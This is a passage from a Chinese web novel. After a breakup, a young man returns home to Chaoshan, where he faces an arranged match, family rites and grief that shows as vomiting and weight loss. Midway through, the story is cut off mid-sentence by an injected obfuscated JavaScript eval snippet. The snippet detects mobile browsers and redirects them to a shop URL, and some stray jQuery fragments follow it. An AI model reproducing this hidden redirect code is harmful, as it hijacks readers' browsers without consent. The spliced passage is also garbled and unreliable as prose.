飞机降落在揭阳潮汕国际机场时，陈声和的手指还死死攥着那张脸谱。


    空姐走过来，轻声提醒他该下飞机了。他猛地回过神，像是被人从梦里拽出来一样，赶紧把脸谱胡乱塞进背包最里头。


    那动作快得，简直像在藏什么见不得光的东西。


    一脚踏出机舱，潮汕的湿热空气随风而至，通道旁凤凰单丛茶广告牌下，似乎隐隐飘着那熟悉的炭焙香，混在咸腥的海风里。


    他站在航站楼出口的玻璃幕墙前，看着父亲那辆黑色奥迪缓缓停稳，司机老陈在人群里踮着脚朝他挥手，还是那副熟悉的笑脸。


    空调水从屋檐角一滴一滴往下砸，落在他脚边，水花溅起来，打湿了他的鞋面。


    他这才真的意识到……


    他真的回来了。


    他真的，离开李霄川了。


    车门关上，将湿热的空气隔绝在外。


    老陈一边掉头一边絮叨着：“你爸身体挺好的，没再犯病了。”


    他只是“嗯”了一声，偏头看向窗外。


    飞速倒退的街景既熟悉又陌生，像一帧帧褪色的旧照片。他不自觉摸了下背包，那张脸谱的轮廓硬硬地硌在手指。


    脸谱是他们的开始，而现在，却成了他必须藏起来的过去。


    ……


    老宅的雕花木门发出熟悉的吱呀声，母亲站在天井的斑驳光影里，身上那件国风旗袍还是去年他买的款式。


    她伸手接过行李时，陈声和闻到熟悉的味道，是家里佛龛前燃着的线香，丝丝缕缕地缠着常年煎药的苦涩，兜头盖脸地扑过来。


    “回来就好。”母亲的手指在他腕间那道茶疤上不着痕迹地停了一下，又快得像是他的错觉。


    大概是在确认，这个儿子是真人，不是电话里那个虚影儿。


    陈声和没有说话。


    厅堂里，父亲盘着那串油亮的小叶紫檀，茶几上的相册摊开着。


    林家女儿穿着浅蓝色连衣裙站在南澳岛礁石上，谢家侄女在广济桥前比着剪刀手。每张照片边缘，都工工整整地用钢笔标着生辰八字，像货架上的价签


    父亲重重咳嗽了两声，喉间那呼噜呼噜的痰音，比视频通话里听着更实在，更磨人。


    “先吃饭。”紫檀珠子在他指间利落地转完一圈，“你瘦了。”


    陈声和的目光从相册上移开，依旧把沉默当盔甲。


    饭桌上，那钵西洋菜陈肾汤冒着虚虚的白气。陈婉琼舀汤时，手腕上那只翡翠镯子磕在碗沿，“叮”一声脆响。


    他低头喝了一口，汤里肯定下了不少海底椰，甜得人喉咙发腻。


    “广东仔，试试这个，保证你辣到喊阿妈！”


    脑子里自动蹦出个声音，响亮亮的。那人笑起来眼睛弯成两道桥，鼻尖上还沾着一点辣椒面，滑稽又生动。


    就这么一想，嘴里的西洋菜突然像团棉花似的堵在了喉咙口。他赶紧端起茶杯灌了一大口，才勉强咽下去。


    父亲的目光扫过来，他不自觉地挺直了脊背。


    餐桌上只剩下筷子碰着碗边的细碎声响，和窗外芭蕉叶子被风吹得哗啦啦，一阵又一阵。


    他知道，眼下这顿饭的平静，不过是水面上一层薄冰，底下多得是等着他的东西。


    到了夜里，他躺在床上，身子底下的床随着翻身轻轻作响。


    月光透过那片片蚝壳拼的窗格照进来，在蚊帐上投下细碎又冰凉的光斑，晃啊晃的。


    手机屏幕“嗡”地一亮，他几乎是扑过去一把抓起来。


    是李霄川的信息，他抖着手指点开，照片里是空荡荡的宿舍床铺，角落里，故意似地露出了半截熟悉的蓝格子伞边。


    消息记录往上翻，全是不同角度的宿舍照片，从一大早阳光洒满屋子，一直拍到傍晚天色擦黑。


    最新一条写着：【伞给你留着了】


    他的拇指在冰冷的屏幕上方悬了半天，在输入框里打了“别等”，又删掉；打了“等我”，又觉得更混蛋。


    最后拇指无力地垂下来，屏幕暗下去，瞬间映出自己一张扭曲又疲惫的脸。


    心里头像被什么东西狠狠掏了一把，又空又疼。


    他猛地翻身下床，在背包最底下那层摸索了半天，才摸出那张被小心藏起来的脸谱。


    指腹轻轻擦过背面那行刻进去的小字：我等你。


    心脏猛地一抽，疼得他瞬间弯下了腰，额头死死抵住梳妆台冰凉的雕花棱角。木头的硬硌进皮肤里，那点清晰的痛，反而让他从一团乱麻的情绪里，喘上了一口气。


    就在这时，楼下传来父亲压抑的咳嗽声，一声接着一声，空洞又执着，像一具永远也停不下来的更漏。


    ……


    回家的第三天，林家伯伯带着女儿来喝茶。


    那是个下雨天，雨丝绵绵密密，屋里飘着凤凰单丛的茶香。


    林家姑娘穿着藕荷色旗袍，挽着低低的发髻，指甲修剪得圆润干净。她坐在红木椅上，双手交叠放在膝头，说话时微微低头，是长辈们最中意的那种温婉模样。


    陈声和坐在茶几对面，机械地重复着烫杯、纳茶、冲点的动作。滚水从壶嘴倾泻而下，溅在虎口处，皮肤立刻泛起一片红痕。


    他没动，像没感觉似的。直到林姑娘轻声提醒：“陈先生，水满了。”


    他头也没抬：“叫名字就行。”


    “声和平时喜欢吃什么呀？”她抿了口茶，笑着问。


    他张了张嘴，话没说出来，舌尖却突然冒出记忆里的麻辣味。


    去年冬天，李霄川非要拉他去吃巷子里的串串。


    红油锅里漂着密密麻麻的花椒，牛肉丸在里头翻腾。他辣得眼泪都要出来，李霄川一边笑一边往他手里塞冰豆奶。


    “广东仔，”那家伙凑到他耳边，呼吸带着啤酒味，“你这点辣都受不了，以后怎么当我成都人的家属？”


    “……我不太挑食。”他最后这么说。


    林姑娘笑了笑，没再追问。


    后来他们又聊了些无关紧要的话，双方加了好友，约好过几天去深圳玩。


    茶凉了，人也散了。


    那天晚上，他站在浴室的镜子前。镜面蒙着水雾，他用手掌抹开一片，看见自己苍白的脸，眼下显着淡淡的青。


    他忽然抬手，五指张开抵在胃部，慢慢施加压力，直到肋骨隐隐作痛。


    如果连饥饿都能变成习惯，是不是那些不该记得的事，总有一天也会模糊？


    回家一周后，退学申请批下来了。辅导员在电话里叹气，说可惜了这么好的成绩。妈妈接过电话，客客气气跟人家聊了几句。


    书桌上放着两份东西：一份是去家族企业上班的申请表，另一份是英国一所大学的招生简章。


    收拾相机的时候，他不小心按到回放。屏幕一亮，李霄川的脸就这么毫无预兆地跳了出来。


    那是去年秋天拍的，照片里的人正在练功房压腿，汗顺着脖子流进白背心里，锁骨上有个新鲜的牙印，模模糊糊的画面里依然清楚得扎眼。


    他的拇指停在删除


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005904|193990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    键上，半天按不下去。


    门外传来脚步声，妈妈敲了敲门：“阿和，林叔说下周带女儿去南澳岛玩，你也一起去吧？”


    他猛地锁屏，心跳得厉害，像做贼被抓了个正着。


    “……好。”他听见自己说。


    等爸妈都睡了，他偷偷把照片拷进U盘，塞进书柜最底下那本《潮州府志》里。


    然后他打开电脑，在搜索框里打字：【怎么才能永远忘记一些事】


    回车键按下去的瞬间，窗外突然传来轮船的汽笛声。


    南澳岛的渡轮又要开了，他想。


    ……


    冬天来得毫无预兆。广东从不下雪，但湿冷的空气像浸了水的棉被压在胸口，想一脚踢开，又怕冷，只能硬生生受着。


    冬至那天，祠堂里里外外都挤满了人。连在马来西亚、新加坡的几个堂叔，都拖家带口地赶回来过节。


    檀香掺着纸钱烧出来的烟，一圈圈绕着房梁打转。


    陈声和跟着几个堂兄弟跪在颜色都褪了的蒲团上，听他爸用潮汕话，一个字一个字地念族谱上的名字。


    等祭完祖，天都黑透了。


    妈妈端来一碗热甜汤圆，白瓷碗边还沾着一点香灰。


    他没什么表情，听着大家聊家长里短，舀起一颗送进嘴里，芝麻馅一下就流了出来。那甜腻劲儿刚漫到喉咙口，胃里就猛地一抽。


    他冲进厕所，跪在马桶前吐到眼睛都红了。


    一抬头，看见镜子里那个人，嘴角黏着糖渍，眼圈发青，像被人揍过两拳，整张脸瘦得脱了形，简直像一副骨头架子勉强撑着一张皮。


    他顺着墙滑坐到地上，额头抵着冰凉的瓷砖，终于一点声音都没有地哭了出来。


    李霄川，我好想你啊。


    可我回不去了……真的回不去了。


    ……


    三月的回南天，空气潮得能一把拧出水。


    陈声和默默跟在妈妈身后走过骑楼底下，听她一路念叨林家女儿在深圳事业多成功，多争气。


    走到巷口，有家新开的川菜馆正在熬火锅底料，花椒在热油里爆开的动静，跟李霄川在他们那小破厨房里炒菜时一样。


    “咳咳！”一股辣味猛地冲进喉咙，他一下子弯下腰干呕起来，冷汗哗地冒出来，衬衫后背全湿了。


    “阿和？”母亲回过头，看见他正扶着斑驳的墙面干呕，手指在砖上擦得通红，还渗了血丝。


    “这什么味儿啊，熏死个人！”妈妈一边皱眉一边拍他的背，“我早说了，这些外地人搞的饮食不干净……”


    他喘着粗气，勉强站直身子。眼前却晃过李霄川系着围裙、在灶台前转过身来的样子。


    那人总爱捏着几颗花椒逗他：“广东仔，敢不敢试一颗？保证让你舌头跳霹雳！”


    现在倒好，他连闻到这味道都会反胃。


    可最讽刺的是，他居然有点想念那种烧喉咙的感觉，就像想念那个人留在他舌尖上的温度一样。


    连着吐了两个月，母亲实在看不下去，硬拉着他去了老城区一家中医馆。诊室里飘着淡淡的艾草味，老中医的手指布满老年斑，轻轻搭在他手腕上。


    “脉有点弦，有点细，舌苔偏白。”老先生收回手，看着他，“后生仔，晚上是不是总睡不好？”


    母亲急切地插话：“他饭也吃不下，瘦了十几斤！”


    陈声和没吭声，只盯着诊桌边上一条深深的划痕，忽然想起在成都时，小区旁边那家诊所，有个阿姨总会给他们熬川味凉茶喝。